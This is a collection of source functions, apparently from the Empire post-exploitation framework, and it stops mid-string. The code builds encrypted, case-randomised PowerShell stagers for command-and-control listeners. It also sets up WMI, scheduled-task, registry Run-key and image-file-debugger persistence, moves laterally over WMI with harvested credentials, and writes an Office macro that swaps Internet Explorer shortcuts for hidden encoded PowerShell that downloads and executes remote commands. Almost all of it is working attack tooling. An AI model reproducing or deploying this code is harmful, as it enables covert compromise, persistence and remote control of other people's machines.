def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color('[!] listeners/http_com generate_stager(): no language specified!') return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] stagingKey = listenerOptions['StagingKey']['Value'] host = listenerOptions['Host']['Value'] # select some random URIs for staging from the main profile stage1 = random.choice(uris) stage2 = random.choice(uris) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http_com.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # make sure the server ends with "/" if not host.endswith("/"): host += "/" # patch the server and key information stager = stager.replace('REPLACE_SERVER', host) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('index.jsp', stage1) stager = stager.replace('index.php', stage2) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager else: print helpers.color("[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module.")
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language="powershell"): """ Generate the stager code needed for communications with this listener. """ #if not language: # print helpers.color('[!] listeners/http_mapi generate_stager(): no language specified!') # return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] stagingKey = listenerOptions['StagingKey']['Value'] host = listenerOptions['Host']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] folder = listenerOptions['Folder']['Value'] if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http_mapi.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # make sure the server ends with "/" if not host.endswith("/"): host += "/" # patch the server and key information stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_FOLDER', folder) # patch in working hours if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager else: print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' is currently supported for this module.")
def generate_payload(self, listenerOptions, encode=False, encrypt=True, language=None, token=None): """ Generate the payload code """ if not language: print helpers.color("[!] listeners/onedrive generate_payload(): no language specified") return None staging_key = listenerOptions['StagingKey']['Value'] base_folder = listenerOptions['BaseFolder']['Value'] staging_folder = listenerOptions['StagingFolder']['Value'] working_hours = listenerOptions['WorkingHours']['Value'] profile = listenerOptions['DefaultProfile']['Value'] agent_delay = listenerOptions['DefaultDelay']['Value'] if language.lower() == 'powershell': f = open("%s/data/agent/payloads/onedrive.ps1" % self.mainMenu.installPath) payload = f.read() f.close() payload = payload.replace("REPLACE_STAGING_FOLDER", "%s/%s" % (base_folder, staging_folder)) payload = payload.replace('REPLACE_STAGING_KEY', staging_key) payload = payload.replace("REPLACE_TOKEN", token) payload = payload.replace("REPLACE_POLLING_INTERVAL", str(agent_delay)) if working_hours != "": payload = payload.replace("REPLACE_WORKING_HOURS", working_hours) randomized_payload = '' for line in payload.split("\n"): line = line.strip() if not line.startswith("#"): if "\"" not in line: randomized_payload += helpers.randomize_capitalization(line) else: randomized_payload += line if encode: return helpers.enc_powershell(randomized_payload) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+staging_key, randomized_payload) else: return randomized_payload else: print helpers.color("[!] Python agent not available for Onedrive")
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None, token=None): """ Generate the stager code """ if not language: print helpers.color("[!] listeners/onedrive generate_stager(): no language specified") return None staging_key = listenerOptions['StagingKey']['Value'] base_folder = listenerOptions['BaseFolder']['Value'] staging_folder = listenerOptions['StagingFolder']['Value'] working_hours = listenerOptions['WorkingHours']['Value'] profile = listenerOptions['DefaultProfile']['Value'] agent_delay = listenerOptions['DefaultDelay']['Value'] if language.lower() == 'powershell': f = open("%s/data/agent/stagers/onedrive.ps1" % self.mainMenu.installPath) stager = f.read() f.close() stager = stager.replace("REPLACE_STAGING_FOLDER", "%s/%s" % (base_folder, staging_folder)) stager = stager.replace('REPLACE_STAGING_KEY', staging_key) stager = stager.replace("REPLACE_TOKEN", token) stager = stager.replace("REPLACE_POLLING_INTERVAL", str(agent_delay)) if working_hours != "": stager = stager.replace("REPLACE_WORKING_HOURS", working_hours) randomized_stager = '' for line in stager.split("\n"): line = line.strip() if not line.startswith("#"): if "\"" not in line: randomized_stager += helpers.randomize_capitalization(line) else: randomized_stager += line if encode: return helpers.enc_powershell(randomized_stager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+staging_key, randomized_stager) else: return randomized_stager else: print helpers.color("[!] Python agent not available for Onedrive")
def generate(self): listenerName = self.options['Listener']['Value'] # trigger options dailyTime = self.options['DailyTime']['Value'] atStartup = self.options['AtStartup']['Value'] subName = self.options['SubName']['Value'] # management options extFile = self.options['ExtFile']['Value'] cleanup = self.options['Cleanup']['Value'] # staging options userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] statusMsg = "" locationString = "" if cleanup.lower() == 'true': # commands to remove the WMI filter and subscription script = "Get-WmiObject __eventFilter -namespace root\subscription -filter \"name='"+subName+"'\"| Remove-WmiObject;" script += "Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter \"name='"+subName+"'\" | Remove-WmiObject;" script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '"+subName+"'} | Remove-WmiObject;" script += "'WMI persistence removed.'" return script if extFile != '': # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(extFile): f = open(extFile, 'r') fileData = f.read() f.close() # unicode-base64 encode the script for -enc launching encScript = helpers.enc_powershell(fileData) statusMsg += "using external file " + extFile else: print helpers.color("[!] File does not exist: " + extFile) return "" else: if listenerName == "": print helpers.color("[!] Either an ExtFile or a Listener must be specified") return "" # if an external file isn't specified, use a listener elif not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) encScript = launcher.split(" ")[-1] statusMsg += "using listener " + listenerName # sanity check to make sure we haven't exceeded the powershell -enc 8190 char max if len(encScript) > 8190: print helpers.color("[!] Warning: -enc command exceeds the maximum of 8190 characters.") return "" # built the command that will be triggered triggerCmd = "$($Env:SystemRoot)\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -enc " + encScript if dailyTime != '': parts = dailyTime.split(":") if len(parts) < 2: print helpers.color("[!] Please use HH:mm format for DailyTime") return "" hour = parts[0] minutes = parts[1] # create the WMI event filter for a system time script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = "+hour+" AND TargetInstance.Minute= "+minutes+" GROUP WITHIN 60\"};" statusMsg += " WMI subscription daily trigger at " + dailyTime + "." else: # create the WMI event filter for OnStartup script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};" statusMsg += " with OnStartup WMI subsubscription trigger." # add in the event consumer to launch the encrypted script contents script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='"+subName+"';CommandLineTemplate=\""+triggerCmd+"\";RunInteractively='false'};" # bind the filter and event consumer together script += "Set-WmiInstance -Namespace \"root\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;" script += "'WMI persistence established "+statusMsg+"'" return script
def generate(self): listenerName = self.options['Listener']['Value'] # trigger options dailyTime = self.options['DailyTime']['Value'] idleTime = self.options['IdleTime']['Value'] onLogon = self.options['OnLogon']['Value'] taskName = self.options['TaskName']['Value'] # storage options regPath = self.options['RegPath']['Value'] adsPath = self.options['ADSPath']['Value'] # management options extFile = self.options['ExtFile']['Value'] cleanup = self.options['Cleanup']['Value'] # staging options userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] statusMsg = "" locationString = "" # for cleanup, remove any script from the specified storage location # and remove the specified trigger if cleanup.lower() == 'true': if adsPath != '': # remove the ADS storage location if ".txt" not in adsPath: print helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt") return "" script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > "+adsPath+"\"};" else: # remove the script stored in the registry at the specified reg path path = "\\".join(regPath.split("\\")[0:-1]) name = regPath.split("\\")[-1] script = "$RegPath = '"+regPath+"';" script += "$parts = $RegPath.split('\\');" script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" script += "$name = $parts[-1];" script += "$null=Remove-ItemProperty -Force -Path $path -Name $name;" script += "schtasks /Delete /F /TN "+taskName+";" script += "'Schtasks persistence removed.'" return script if extFile != '': # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(extFile): f = open(extFile, 'r') fileData = f.read() f.close() # unicode-base64 encode the script for -enc launching encScript = helpers.enc_powershell(fileData) statusMsg += "using external file " + extFile else: print helpers.color("[!] File does not exist: " + extFile) return "" else: # if an external file isn't specified, use a listener if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) encScript = launcher.split(" ")[-1] statusMsg += "using listener " + listenerName if adsPath != '': # store the script in the specified alternate data stream location if ".txt" not in adsPath: print helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt") return "" script = "Invoke-Command -ScriptBlock {cmd /C \"echo "+encScript+" > "+adsPath+"\"};" locationString = "$(cmd /c \''\''more < "+adsPath+"\''\''\'')" else: # otherwise store the script into the specified registry location path = "\\".join(regPath.split("\\")[0:-1]) name = regPath.split("\\")[-1] statusMsg += " stored in " + regPath script = "$RegPath = '"+regPath+"';" script += "$parts = $RegPath.split('\\');" script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" script += "$name = $parts[-1];" script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value "+encScript+";" # note where the script is stored locationString = "(gp "+path+" "+name+")."+name # built the command that will be triggered by the schtask triggerCmd = "'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\powershell.exe -NonI -W hidden -c \\\"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String("+locationString+")))\\\"'" # sanity check to make sure we haven't exceeded the cmd.exe command length max if len(triggerCmd) > 259: print helpers.color("[!] Warning: trigger command exceeds the maximum of 259 characters.") return "" if onLogon != '': script += "schtasks /Create /F /RU system /SC ONLOGON /TN "+taskName+" /TR "+triggerCmd+";" statusMsg += " with "+taskName+" OnLogon trigger." elif idleTime != '': script += "schtasks /Create /F /RU system /SC ONIDLE /I "+idleTime+" /TN "+taskName+" /TR "+triggerCmd+";" statusMsg += " with "+taskName+" idle trigger on " + idleTime + "." else: # otherwise assume we're doing a daily trigger script += "schtasks /Create /F /RU system /SC DAILY /ST "+dailyTime+" /TN "+taskName+" /TR "+triggerCmd+";" statusMsg += " with "+taskName+" daily trigger at " + dailyTime + "." script += "'Schtasks persistence established "+statusMsg+"'" return script
def generate(self, obfuscate=False, obfuscationCommand=""): script = """$null = Invoke-WmiMethod -Path Win32_process -Name create""" # management options cleanup = self.options['Cleanup']['Value'] binary = self.options['Binary']['Value'] targetBinary = self.options['TargetBinary']['Value'] listenerName = self.options['Listener']['Value'] userName = self.options['UserName']['Value'] password = self.options['Password']['Value'] # storage options regPath = self.options['RegPath']['Value'] statusMsg = "" locationString = "" # if a credential ID is specified, try to parse credID = self.options["CredID"]['Value'] if credID != "": if not self.mainMenu.credentials.is_credential_valid(credID): print helpers.color("[!] CredID is invalid!") return "" (credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0] if domainName != "": self.options["UserName"]['Value'] = str( domainName) + "\\" + str(userName) else: self.options["UserName"]['Value'] = str(userName) if password != "": self.options["Password"]['Value'] = passw = password if cleanup.lower() == 'true': # the registry command to disable the debugger for the target binary payloadCode = "Remove-Item 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + targetBinary + "';" statusMsg += " to remove the debugger for " + targetBinary elif listenerName != '': # if there's a listener specified, generate a stager and store it if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.stagers.generate_launcher( listenerName, language='powershell', encode=True) encScript = launcher.split(" ")[-1] # statusMsg += "using listener " + listenerName path = "\\".join(regPath.split("\\")[0:-1]) name = regPath.split("\\")[-1] # statusMsg += " stored in " + regPath + "." payloadCode = "$RegPath = '" + regPath + "';" payloadCode += "$parts = $RegPath.split('\\');" payloadCode += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" payloadCode += "$name = $parts[-1];" payloadCode += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value " + encScript + ";" # note where the script is stored locationString = "$((gp " + path + " " + name + ")." + name + ")" payloadCode += "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + targetBinary + "';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + targetBinary + "' -Name Debugger -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x=" + locationString + ";start -Win Hidden -A \\\"-enc $x\\\" powershell\";exit;';" statusMsg += " to set the debugger for " + targetBinary + " to be a stager for listener " + listenerName + "." else: payloadCode = "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + targetBinary + "';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + targetBinary + "' -Name Debugger -Value '" + binary + "';" statusMsg += " to set the debugger for " + targetBinary + " to be " + binary + "." # unicode-base64 the payload code to execute on the targets with -enc encPayload = helpers.enc_powershell(payloadCode) # build the WMI execution string computerNames = "\"" + "\",\"".join( self.options['ComputerName']['Value'].split(",")) + "\"" script += " -ComputerName @(" + computerNames + ")" script += " -ArgumentList \"C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -enc " + encPayload + "\"" # if we're supplying alternate user credentials if userName != '': script = "$PSPassword = \"" + password + "\" | ConvertTo-SecureString -asPlainText -Force;$Credential = New-Object System.Management.Automation.PSCredential(\"" + userName + "\",$PSPassword);" + script + " -Credential $Credential" script += ";'Invoke-Wmi executed on " + computerNames + statusMsg + "'" if obfuscate: script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script
def generate(self, obfuscate=False, obfuscationCommand=""): listenerName = self.options['Listener']['Value'] # trigger options dailyTime = self.options['DailyTime']['Value'] atStartup = self.options['AtStartup']['Value'] subName = self.options['SubName']['Value'] failedLogon = self.options['FailedLogon']['Value'] # management options extFile = self.options['ExtFile']['Value'] cleanup = self.options['Cleanup']['Value'] # staging options userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] statusMsg = "" locationString = "" if cleanup.lower() == 'true': # commands to remove the WMI filter and subscription script = "Get-WmiObject __eventFilter -namespace root\subscription -filter \"name='" + subName + "'\"| Remove-WmiObject;" script += "Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter \"name='" + subName + "'\" | Remove-WmiObject;" script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '" + subName + "'} | Remove-WmiObject;" script += "'WMI persistence removed.'" if obfuscate: script = helpers.obfuscate( self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand) return script if extFile != '': # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(extFile): f = open(extFile, 'r') fileData = f.read() f.close() # unicode-base64 encode the script for -enc launching encScript = helpers.enc_powershell(fileData) statusMsg += "using external file " + extFile else: print() helpers.color("[!] File does not exist: " + extFile) return "" else: if listenerName == "": print() helpers.color( "[!] Either an ExtFile or a Listener must be specified") return "" # if an external file isn't specified, use a listener elif not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print() helpers.color("[!] Invalid listener: " + listenerName) return "" else: # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.stagers.generate_launcher( listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) encScript = launcher.split(" ")[-1] statusMsg += "using listener " + listenerName # sanity check to make sure we haven't exceeded the powershell -enc 8190 char max if len(encScript) > 8190: print() helpers.color( "[!] Warning: -enc command exceeds the maximum of 8190 characters." ) return "" # built the command that will be triggered triggerCmd = "$($Env:SystemRoot)\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -enc " + encScript if failedLogon != '': # Enable failed logon auditing script = "auditpol /set /subcategory:Logon /failure:enable;" # create WMI event filter for failed logon script += "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{Name='" + subName + "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND TargetInstance.EventCode='4625' AND TargetInstance.Message LIKE '%" + failedLogon + "%'\"}; " statusMsg += " with trigger upon failed logon by " + failedLogon elif dailyTime != '': parts = dailyTime.split(":") if len(parts) < 2: print() helpers.color("[!] Please use HH:mm format for DailyTime") return "" hour = parts[0] minutes = parts[1] # create the WMI event filter for a system time script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" + subName + "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = " + hour + " AND TargetInstance.Minute= " + minutes + " GROUP WITHIN 60\"};" statusMsg += " WMI subscription daily trigger at " + dailyTime + "." else: # create the WMI event filter for OnStartup script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" + subName + "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};" statusMsg += " with OnStartup WMI subsubscription trigger." # add in the event consumer to launch the encrypted script contents script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='" + subName + "';CommandLineTemplate=\"" + triggerCmd + "\";RunInteractively='false'};" # bind the filter and event consumer together script += " Set-WmiInstance -Namespace \"root\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;" script += "'WMI persistence established " + statusMsg + "'" if obfuscate: script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand) return script
def generate(self, obfuscate=False, obfuscationCommand=""): listenerName = self.options['Listener']['Value'] # trigger options keyName = self.options['KeyName']['Value'] # storage options regPath = self.options['RegPath']['Value'] adsPath = self.options['ADSPath']['Value'] eventLogID = self.options['EventLogID']['Value'] # management options extFile = self.options['ExtFile']['Value'] cleanup = self.options['Cleanup']['Value'] # staging options userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] statusMsg = "" locationString = "" # for cleanup, remove any script from the specified storage location # and remove the specified trigger if cleanup.lower() == 'true': if adsPath != '': if ".txt" not in adsPath: print( helpers.color( "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt" )) return "" script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > " + adsPath + "\"};" else: # remove the script stored in the registry at the specified reg path path = "\\".join(regPath.split("\\")[0:-1]) name = regPath.split("\\")[-1] script = "$RegPath = '" + regPath + "';" script += "$parts = $RegPath.split('\\');" script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" script += "$name = $parts[-1];" script += "$null=Remove-ItemProperty -Force -Path $path -Name $name;" script += "Remove-ItemProperty -Force -Path HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name " + keyName + ";" script += "'Registry Persistence removed.'" if obfuscate: script = helpers.obfuscate( self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand) return script if extFile != '': # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(extFile): f = open(extFile, 'r') fileData = f.read() f.close() # unicode-base64 encode the script for -enc launching encScript = helpers.enc_powershell(fileData) statusMsg += "using external file " + extFile else: print(helpers.color("[!] File does not exist: " + extFile)) return "" else: # if an external file isn't specified, use a listener if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print(helpers.color("[!] Invalid listener: " + listenerName)) return "" else: # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.stagers.generate_launcher( listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) encScript = launcher.split(" ")[-1] statusMsg += "using listener " + listenerName if adsPath != '': # store the script in the specified alternate data stream location if adsPath != '': if ".txt" not in adsPath: print( helpers.color( "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt" )) return "" script = "Invoke-Command -ScriptBlock {cmd /C \"echo " + encScript + " > " + adsPath + "\"};" locationString = "$(cmd /c \''more < " + adsPath + "\'')" elif eventLogID != '': # store the script in the event log under the specified ID # credit to @subtee # https://gist.github.com/subTee/949fdf0f141546f24978 # sanity check to make sure we haven't exceeded the 31389 byte max if len(encScript) > 31389: print( helpers.color( "[!] Warning: encoded script exceeds 31389 byte max.")) return "" statusMsg += " stored in Application event log under EventID " + eventLogID + "." # command to write out the encoded script to the specified eventlog ID script = "Write-EventLog -logname Application -source WSH -eventID " + eventLogID + " -entrytype Information -message 'Debug' -category 1 -rawdata \"" + encScript + "\".ToCharArray();" # command to decode the binary data from the event log location locationString = "$([Text.Encoding]::ASCII.GetString(@((Get-Eventlog -LogName Application | ?{$_.eventid -eq " + eventLogID + "}))[0].data))" else: # otherwise store the script into the specified registry location path = "\\".join(regPath.split("\\")[0:-1]) name = regPath.split("\\")[-1] statusMsg += " stored in " + regPath + "." script = "$RegPath = '" + regPath + "';" script += "$parts = $RegPath.split('\\');" script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" script += "$name = $parts[-1];" script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value " + encScript + ";" # note where the script is stored locationString = "$((gp " + path + " " + name + ")." + name + ")" # set the run key to extract the encoded script from the specified location # and start powershell.exe in the background with the encoded command script += "$null=Set-ItemProperty -Force -Path HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name " + keyName + " -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x=" + locationString + ";powershell -Win Hidden -enc $x\"';" script += "'Registry persistence established " + statusMsg + "'" if obfuscate: script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand) return script
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color('[!] listeners/dbx generate_stager(): no language specified!') return None pollInterval = listenerOptions['PollInterval']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] baseFolder = listenerOptions['BaseFolder']['Value'].strip('/') apiToken = listenerOptions['APIToken']['Value'] profile = listenerOptions['DefaultProfile']['Value'] stagingFolder = "/%s/%s" % (baseFolder, listenerOptions['StagingFolder']['Value'].strip('/')) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/dropbox.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # patch the server and key information stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager elif language.lower() == 'python': f = open("%s/data/agent/stagers/dropbox.py" % (self.mainMenu.installPath)) stager = f.read() f.close() stager = helpers.strip_python_comments(stager) # patch the server and key information stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval) stager = stager.replace('REPLACE_PROFILE', profile) stager = stager.replace('REPLACE_API_TOKEN', apiToken) if encode: return base64.b64encode(stager) if encrypt: # return an encrypted version of the stager ("normal" staging) RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, stager) else: # otherwise return the standard stager return stager else: print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
def generate(self): # extract all of our options language = self.options['Language']['Value'] listenerName = self.options['Listener']['Value'] userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] stagerRetries = self.options['StagerRetries']['Value'] lnkPath = self.options['LNKPath']['Value'] XmlPath = self.options['XmlUrl']['Value'] XmlOut = self.options['XmlOutFile']['Value'] regParts = XmlPath.split("\\") path = "\\".join(regParts[0:len(regParts)-1]) name = regParts[len(regParts)-1] # generate the launcher code launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) launcher = launcher.split(" ")[-1] if launcher == "": print helpers.color("[!] Error in launcher command generation.") return "" else: chunks = list(helpers.chunks(launcher, 50)) payload = "\tDim encRP As String\n" payload += "\tencRP = \"" + str(chunks[0]) + "\"\n" for chunk in chunks[1:]: payload += "\tencRP = encRP + \"" + str(chunk) + "\"\n" macro = "Sub Auto_Open()\n" macro += "\tOffice\n" macro += "End Sub\n\n" macro += "Public Function Office() As Variant\n" # macro += payload macro += "Dim myWS As Object, lnk as Object\n" macro += "Set myWS = CreateObject(\"Wscript.Shell\")\n" #set up first link - creates / replaces iexplore.lnk (display name iexplore) on users desktop if it sees it macro += "Set lnk = myWS.CreateShortcut(myWS.SPecialFolders(\"desktop\") & \"\\iexplore.lnk\")\n" launchString1 = "[System.Diagnostics.Process]::Start(\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\");$b = New-Object System.Xml.XmlDocument;$b.Load(\"" launchString2 = "\");[Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String($b.command.a.execute))|IEX\n" macro += "lnk.targetpath = \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe \"\n" launchString1 = helpers.randomize_capitalization(launchString1) launchString2 = helpers.randomize_capitalization(launchString2) launchString = launchString1 + XmlPath + launchString2 encLaunch = helpers.enc_powershell(launchString) macro += "lnk.arguments = \"-w hidden -nop -enc " + encLaunch + "\"\n" macro += "lnk.IconLocation = \"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\"\n" macro += "lnk.save\n" #2nd link here -- will overwite ie if it finds a file named 'Internet Explorer' in the taskbar menu macro += "Set lnk = myWS.CreateShortcut(Environ(\"AppData\") & \"\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk\")\n" macro += "lnk.targetpath = \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe \"\n" macro += "lnk.arguments = \"-w hidden -nop -enc " + encLaunch + "\"\n" macro += "lnk.IconLocation = \"C:\\Program Files (x86)\\Internet 